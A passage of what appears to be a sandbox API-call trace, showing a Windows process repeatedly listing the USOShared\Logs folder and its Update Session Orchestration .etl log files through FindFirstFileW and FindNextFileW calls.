Users\\USOShared", lpFilePart=0x0) returned 0x1c [0218.094] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\USOShared\\*" (normalized: "c:\\users\\all users\\usoshared\\*"), lpFindFileData=0x1f2dca70 | out: lpFindFileData=0x1f2dca70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf97592c3, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf97592c3, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0218.095] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf97592c3, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf97592c3, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.096] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xff553ec3, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xff553ec3, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0218.096] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xff553ec3, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xff553ec3, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 0 [0218.096] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0218.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dcc90) returned 1 [0218.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dcc50) returned 1 [0218.096] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dcd60) returned 1 [0218.096] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\USOShared", nBufferLength=0x105, lpBuffer=0x1f2dc840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\USOShared", lpFilePart=0x0) returned 0x1c [0218.097] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\USOShared\\*" (normalized: "c:\\users\\all users\\usoshared\\*"), lpFindFileData=0x1f2dca70 | out: lpFindFileData=0x1f2dca70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf97592c3, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf97592c3, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0218.097] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf97592c3, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xf97592c3, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.097] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xff553ec3, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xff553ec3, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0218.097] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0218.097] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0218.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dcc90) returned 1 [0218.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dcc50) returned 1 [0218.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dc5a0) returned 1 [0218.098] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\USOShared\\Logs", nBufferLength=0x105, lpBuffer=0x1f2dc080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\USOShared\\Logs", lpFilePart=0x0) returned 0x21 [0218.098] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\*" (normalized: "c:\\users\\all users\\usoshared\\logs\\*"), lpFindFileData=0x1f2dc2b0 | out: lpFindFileData=0x1f2dc2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xff553ec3, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xff553ec3, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0218.099] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xff553ec3, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xff553ec3, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.100] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xff553ec3, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0x3d913885, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.001.etl", cAlternateFileName="UP2DAF~1.ETL")) returned 1 [0218.100] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xa26cf0a0, ftLastAccessTime.dwHighDateTime=0x1d99d09, ftLastWriteTime.dwLowDateTime=0xc99ffb8e, ftLastWriteTime.dwHighDateTime=0x1d99d09, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.002.etl", cAlternateFileName="UP3884~1.ETL")) returned 1 [0218.100] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xa88a9a93, ftLastAccessTime.dwHighDateTime=0x1d99cf2, ftLastWriteTime.dwLowDateTime=0xd008cf7a, ftLastWriteTime.dwHighDateTime=0x1d99cf2, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.003.etl", cAlternateFileName="UP8247~1.ETL")) returned 1 [0218.100] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x21c56441, ftLastAccessTime.dwHighDateTime=0x1d9775f, ftLastWriteTime.dwLowDateTime=0x49a419ad, ftLastWriteTime.dwHighDateTime=0x1d9775f, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.004.etl", cAlternateFileName="UPD2FC~1.ETL")) returned 1 [0218.101] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x8c08b661, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xb412100a, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.005.etl", cAlternateFileName="UPB784~1.ETL")) returned 1 [0218.101] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xb4f89421, ftLastAccessTime.dwHighDateTime=0x1d8a64c, ftLastWriteTime.dwLowDateTime=0xeca50022, ftLastWriteTime.dwHighDateTime=0x1d8a64c, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.006.etl", cAlternateFileName="UP7D55~1.ETL")) returned 1 [0218.101] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x60797ea1, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0x8857baf6, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.007.etl", cAlternateFileName="UP52FC~1.ETL")) returned 1 [0218.101] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x615d8964, ftLastAccessTime.dwHighDateTime=0x1d8596d, ftLastWriteTime.dwLowDateTime=0x88859575, ftLastWriteTime.dwHighDateTime=0x1d8596d, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.008.etl", cAlternateFileName="UPA721~1.ETL")) returned 1 [0218.102] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x3a5fe900, ftLastAccessTime.dwHighDateTime=0x1d7b059, ftLastWriteTime.dwLowDateTime=0x6178db96, ftLastWriteTime.dwHighDateTime=0x1d7b059, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.009.etl", cAlternateFileName="UPFC55~1.ETL")) returned 1 [0218.102] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf801cbae, ftLastAccessTime.dwHighDateTime=0x1d75217, ftLastWriteTime.dwLowDateTime=0x1f56df07, ftLastWriteTime.dwHighDateTime=0x1d75218, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.010.etl", cAlternateFileName="UPB13B~1.ETL")) returned 1 [0218.103] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf98df460, ftLastAccessTime.dwHighDateTime=0x1d705ef, ftLastWriteTime.dwLowDateTime=0x22721e58, ftLastWriteTime.dwHighDateTime=0x1d705f0, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.011.etl", cAlternateFileName="UP076F~1.ETL")) returned 1 [0218.103] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x6fb852ed, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0xa05d916a, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.012.etl", cAlternateFileName="UPEBF6~1.ETL")) returned 1 [0218.104] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x46a3d34f, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x6df6574e, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.013.etl", cAlternateFileName="UP8DEE~1.ETL")) returned 1 [0218.104] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x95f9994e, ftLastAccessTime.dwHighDateTime=0x1d7046d, ftLastWriteTime.dwLowDateTime=0x95f9994e, ftLastWriteTime.dwHighDateTime=0x1d7046d, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.014.etl", cAlternateFileName="UP38BA~1.ETL")) returned 1 [0218.104] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x9ee92c6a, ftLastAccessTime.dwHighDateTime=0x1d70460, ftLastWriteTime.dwLowDateTime=0xc6371102, ftLastWriteTime.dwHighDateTime=0x1d70460, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.015.etl", cAlternateFileName="UPE286~1.ETL")) returned 1 [0218.104] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xe7e7af85, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xe7e7af85, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.016.etl", cAlternateFileName="UPDATE~4.ETL")) returned 1 [0218.104] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x4e8a793e, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x4e8a793e, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.017.etl", cAlternateFileName="UPDATE~2.ETL")) returned 1 [0218.104] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xf97592c3, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0x1d9a4c7e, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.018.etl", cAlternateFileName="UPDATE~1.ETL")) returned 1 [0218.105] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7b0d97d, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xa689893c, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0xac9249a5, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateUx.001.etl", cAlternateFileName="UP654C~1.ETL")) returned 1 [0218.105] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7b0d97d, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xe7b0d97d, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xa690be1, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateUx.002.etl", cAlternateFileName="UPDATE~3.ETL")) returned 1 [0218.105] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0218.105] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0218.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dc4d0) returned 1 [0218.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dc490) returned 1 [0218.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dc5a0) returned 1 [0218.107] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\USOShared\\Logs", nBufferLength=0x105, lpBuffer=0x1f2dc080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\USOShared\\Logs", lpFilePart=0x0) returned 0x21 [0218.107] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\*" (normalized: "c:\\users\\all users\\usoshared\\logs\\*"), lpFindFileData=0x1f2dc2b0 | out: lpFindFileData=0x1f2dc2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xff553ec3, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xff553ec3, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0218.108] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xff553ec3, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xff553ec3, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.108] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xff553ec3, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0x3d913885, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.001.etl", cAlternateFileName="UP2DAF~1.ETL")) returned 1 [0218.109] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xa26cf0a0, ftLastAccessTime.dwHighDateTime=0x1d99d09, ftLastWriteTime.dwLowDateTime=0xc99ffb8e, ftLastWriteTime.dwHighDateTime=0x1d99d09, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.002.etl", cAlternateFileName="UP3884~1.ETL")) returned 1 [0218.109] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xa88a9a93, ftLastAccessTime.dwHighDateTime=0x1d99cf2, ftLastWriteTime.dwLowDateTime=0xd008cf7a, ftLastWriteTime.dwHighDateTime=0x1d99cf2, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.003.etl", cAlternateFileName="UP8247~1.ETL")) returned 1 [0218.109] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x21c56441, ftLastAccessTime.dwHighDateTime=0x1d9775f, ftLastWriteTime.dwLowDateTime=0x49a419ad, ftLastWriteTime.dwHighDateTime=0x1d9775f, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.004.etl", cAlternateFileName="UPD2FC~1.ETL")) returned 1 [0218.109] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x8c08b661, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xb412100a, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.005.etl", cAlternateFileName="UPB784~1.ETL")) returned 1 [0218.110] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xb4f89421, ftLastAccessTime.dwHighDateTime=0x1d8a64c, ftLastWriteTime.dwLowDateTime=0xeca50022, ftLastWriteTime.dwHighDateTime=0x1d8a64c, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.006.etl", cAlternateFileName="UP7D55~1.ETL")) returned 1 [0218.110] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x60797ea1, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0x8857baf6, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.007.etl", cAlternateFileName="UP52FC~1.ETL")) returned 1 [0218.110] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x615d8964, ftLastAccessTime.dwHighDateTime=0x1d8596d, ftLastWriteTime.dwLowDateTime=0x88859575, ftLastWriteTime.dwHighDateTime=0x1d8596d, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateSessionOrchestration.008.etl", cAlternateFileName="UPA721~1.ETL")) returned 1 [0218.110] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf97592c3, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0x3a5fe900, ftLastAccessTime.dwHighDateTime=0x1d7b059, ftLastWriteTime.dwLowDateTime=0x6178db96, ftLastWriteTime.dwHighDateTime=0x1d7b059, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, 